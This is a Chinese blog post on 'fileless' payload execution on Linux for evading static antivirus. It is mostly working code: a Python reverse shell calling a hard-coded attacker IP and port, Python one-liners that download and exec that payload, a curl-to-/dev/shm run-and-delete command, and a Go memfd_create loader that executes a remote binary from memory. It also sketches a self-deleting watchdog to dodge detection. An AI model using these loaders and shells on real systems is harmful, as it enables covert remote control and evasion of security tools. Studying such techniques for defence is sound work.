编译型语言的痛!但无文件落地我可以!!!

news/2024/12/27 15:01:14/文章来源:https://www.cnblogs.com/D1TA/p/18632355

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

@

目录
  • python 等脚本语言
    • 示例
      • 演示
  • golang 等静态编译型语言
    • 内存文件系统
    • memfd_create 使用
      • 示例

python 等脚本语言

通过将powercat 无文件落地思路进行扩展,可以考虑到通过加载器以及payload等恶意代码执行文件,也可以使用无文件落地的方式对静态杀毒进行规避。

由于大多数Linux系统中都默认安装了 python ,且python作为一种脚本型语言,可以直接使用命令行代码执行操作,与powershell 有极大的相似之处,因此,使用python进行无文件落地思路是相同的。

示例

首先准备一个恶意的python脚本放置在远端的服务器,用于文件下载

import socket
import subprocesss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.220.151', 4444))while True:command = s.recv(1024).decode('utf-8')if command.lower() == 'exit':breakoutput = subprocess.run(command, shell=True, capture_output=True)s.send(output.stdout + output.stderr)s.close()

然后,使用python进行文件下载并执行,达到无文件落地的效果

import urllib.request
import subprocess# 下载恶意 Python 脚本
url = 'http://192.168.220.151/payload.py'
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')# 执行下载的脚本
exec(code)

但是,上述代码是脚本形式,要做到无文件落地执行,就需要完全在命令行执行代码。
python中可以使用 python自带的控制端,按照上述代码逐句执行。

import urllib.request
response = urllib.request.urlopen('http://192.168.220.151/payload.py')
code = response.read().decode('utf-8')
exec(code)

也可以直接使用 python -c 来执行单行代码

import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))

python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"

演示

对payload所在目录开启web服务,用于下载恶意文件

攻击端开启监听

被控端操作,下载并执行恶意代码,实现无文件落地

攻击端成功接收

来到被控端,并未发现payload,成功实现无文件落地

golang 等静态编译型语言

由于golang、C、C++ 等静态编译语言的特性,无论如何规避,都需要有文件在系统种进行执行才可以,但并不是说无法做到完全无文件落地。

内存文件系统

  • 完全在内存中执行/dev/shm 使用的是内存文件系统(tmpfs),文件存储在内存中,确保不会写入磁盘。
  • 快速执行:内存中的文件访问速度比磁盘文件快得多,因此可以提高执行效率。
  • 通过将文件写入 /dev/shm 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁盘,因此可以达到 完全无文件落地 的效果。
  • 如果你希望确保完全避免文件留下,可以将执行完成后清理 /dev/shm 目录下的文件,这样可以进一步增强安全性。

因此,对于编译型语言的二进制可执行文件的无文件落地,可以使用 /dev/shm 目录,例如:

curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum

这样会将文件下载到 /dev/shm/ 目录下,直接存储在内存中执行,并且在执行完毕后删除文件。

但这样也会产生一个问题,如果操作不当或者因不知名原因等导致恶意程序执行突然中断,那么就无法执行文件删除操作,因此,建议在恶意文件中加入 保险程序

也就是说,一旦程序终止,自动执行自删除操作,这里提供一种思路
如果将自删除程序写入恶意文件,那么如果恶意程序被主动结束,就无法正常执行后续操作,因此,可以在恶意程序执行时,首先写入一个文件到内存系统中,文件中可以有一些无意义操作用来避免安全检测,然后通过该文件实时监控恶意程序的执行状态。

memfd_create 使用

memfd_create 是 Linux 内核提供的系统调用,可以创建匿名文件,仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。

以下是一个示例:

package mainimport ("fmt""io""net/http""os""golang.org/x/sys/unix""syscall"
)func main() {// 创建匿名内存文件fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)if err != nil {panic(err)}// 将文件描述符包装为 os.FilememFile := os.NewFile(uintptr(fd), "helloNum")defer memFile.Close()// 下载二进制文件到内存文件resp, err := http.Get("http://192.168.220.151/helloNum")if err != nil {panic(err)}defer resp.Body.Close()_, err = io.Copy(memFile, resp.Body)if err != nil {panic(err)}// 将文件描述符重置到开始位置_, err = memFile.Seek(0, 0)if err != nil {panic(err)}// 使用 syscall.Exec 执行内存中的二进制文件err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())if err != nil {panic(err)}
}
  1. unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC):创建一个匿名的内存文件(也称为内存后备文件),这个文件存在于内存中,不会占用磁盘空间。MFD_CLOEXEC 标志意味着在执行 exec 系列函数时,这个文件描述符会自动关闭。
  2. os.NewFile(uintptr(fd), "helloNum"):将创建的内存文件描述符 fd 转换为 os.File 对象,这样可以使用标准库中的文件操作方法。
  3. http.Get("http://192.168.220.151/helloNum"):从指定的 URL 下载文件。
  4. io.Copy(memFile, resp.Body):将 HTTP 响应体中的数据复制到内存文件中。
  5. memFile.Seek(0, 0):将内存文件的读写指针移动到文件的开始位置。
  6. syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()):这是代码中的关键部分。syscall.Exec 函数用于替换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。
    • /proc/self/fd/:这是一个特殊的目录,它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。
    • fmt.Sprint(memFile.Fd()):将内存文件的文件描述符转换为字符串。
    • []string{}:这是传递给 Exec 的参数列表,这里为空,意味着没有传递任何命令行参数。
    • os.Environ():这是传递给 Exec 的环境变量列表,它包含了当前进程的环境变量。

示例

编写一个演示程序,每隔3秒打印一个数字,并编译为二进制可执行文件,作为演示的远端恶意可执行文件

开启web服务

将上述代码编译为二进制可执行文件 memfd ,并执行

在执行过程中查看文件执行位置,并不存在远端文件落地,该文件是被直接加载到内存中,替换了 memfd进程的映像为我们的远端恶意程序。

欢迎关注 公众号 “D1TASec” ,获取更多姿势。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/859246.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF TabControl 去掉鼠标悬浮效果

1.资源<Window.Resources><Style x:Key="TabStyle" TargetType="TabItem"><Setter Property="TextBlock.FontSize" Value="12" /><Setter Property="Template"><Setter.Value><ControlTem…

Clion创建项目sqlite数据库

1.创建工程并运行 (1)新建——project,选择工程文件夹,创建工程(2)进入界面,等待项目启动,显示main.cpp主文件(3)配置编译环境默认生成了main.cpp文件,但是我们不能运行。我们缺少编译环境,点击Setting打开设置,搜索工具链,发现Clion提供的编译环境有几种MinGW,Cy…

营销相关笔记2:电力营销的业务办理和计量计费

电力营销的业务办理和计量计费 转:电力知识图谱:电力营销(下) - 知乎 一.业务办理 电力营销是和客户打交道的最前线,两大业务:一是市场销售,二是客户需求受理和交付,即业务办理。在一些市场化主导的售电公司里,市场部和营销部可能会分开。但在电网公司,都是统一的营销…

FMC子卡设计原理图:FMC209-基于FMC的4路125MAD输入、2路1GDA输出子卡 中低频信号采集

一、板卡概述本子卡基于FMC连接器实现4路125M采样率AD输出,两路1G采样率DA输出子卡,板卡默认由FMC连接器+12V供电,支持外参考时钟,外输入时钟,外触发。 二、性能指标三、应用领域 中低频信号采集

【安全就业】2024年网络安全技术技能人才职业能力图谱+电子数据取证

电子数据取证,是指利用科学和法律方法对电子设备中的数据进行搜集、分析、保存和报告的过程,以确保这些信息在法律程序中能够作为线索或证据使用。电子数据取证工作,一般需要取证人员具备电子数据提取、电子数据恢复、数据库系统取证、电子数据治理、程序功能分析、现场勘查…

HuntBack(反击狩猎):用于攻防演练中,防守方对恶意ip进行web指纹扫描与识别

#溯源 #攻防演练 HuntBack(反击狩猎),用于攻防演练中,防守方对恶意ip进行web指纹扫描与识别 应用场景 在蓝队职守中,安全设备爆出恶意攻击ip地址,如果对方使用的是自己的服务器,并且搭建了一些安全业务,可使用本工具对目前已知工具进行探测。 功能 1.红队指纹识别 2.ipwh…

代码随想录——贪心23监控二叉树

思路 这道题目首先要想,如何放置,才能让摄像头最小的呢? 从题目中示例,其实可以得到启发,我们发现题目示例中的摄像头都没有放在叶子节点上! 这是很重要的一个线索,摄像头可以覆盖上中下三层,如果把摄像头放在叶子节点上,就浪费的一层的覆盖。 所以把摄像头放在叶子节…

CH585 CH584 I2C时钟配置(超1MHz 最高1.8MHz)

I2C的R16_I2C_CTRL2寄存器描述:[5:0] FREQ :允许的范围在2~36MHz之间。必须设置在000010b 到100100b 之间RB_I2C_FREQ决定SCL的建立时间和SDA的保持时间,理论上I2C 频率可以达到一分频,实际频率可在36MHz之上,可使用最高80MHz。 I2C的R16_I2C_CKCFGR寄存器描述:[11:0] CC…

JMeter JDBC 请求实战宝典

《JMeter JDBC 请求实战宝典》 宝子们,今天咱就来唠唠 JMeter 里超厉害的 JDBC 请求,这玩意儿就像是数据库世界的神奇魔杖,能帮咱把数据库里的各种秘密(数据)都挖出来,还能对这些数据进行各种操作,不管是查查看、改一改,还是加点新东西、删点旧东西,它都能轻松搞定,而…

STM32-I2C软件模拟

1.I2C介绍 I2C是一种多主机、两线制、低速串行通信总线,广泛用于微控制器和各种外围设备之间的通信。它使用两条线路:串行数据线(SDA)和串行时钟线(SCL)进行双向传输。2.时序启动条件:SCL高电平时、SDA由高电平变为低电平 停止条件:SCL高电平时、SDA由低电平变为高电平…

系统攻防-WindowsLinux远程探针本地自检任意代码执行权限提升入口点

Windows&Linux&远程探针&本地自检&任意代码执行&权限提升&入口点知识点: 1、远程漏扫-Nessus&Nexpose&Goby 2、本地漏扫(提权)-Wesng&Tiquan&Suggester 3、利用场景-远程利用&本地利用&利用条件一、演示案例-操作系统-远程漏…

新能源汽车门店管理:项目管理工具的高效运用策略

使用项目管理工具进行新能源汽车门店管理可以显著提高门店的运营效率和团队协作能力。通过明确项目目标和需求、选择合适的项目管理工具、实施项目管理以及持续优化与改进等步骤,新能源汽车门店可以更好地应对市场变化,提升竞争力。使用项目管理工具进行新能源汽车门店管理,…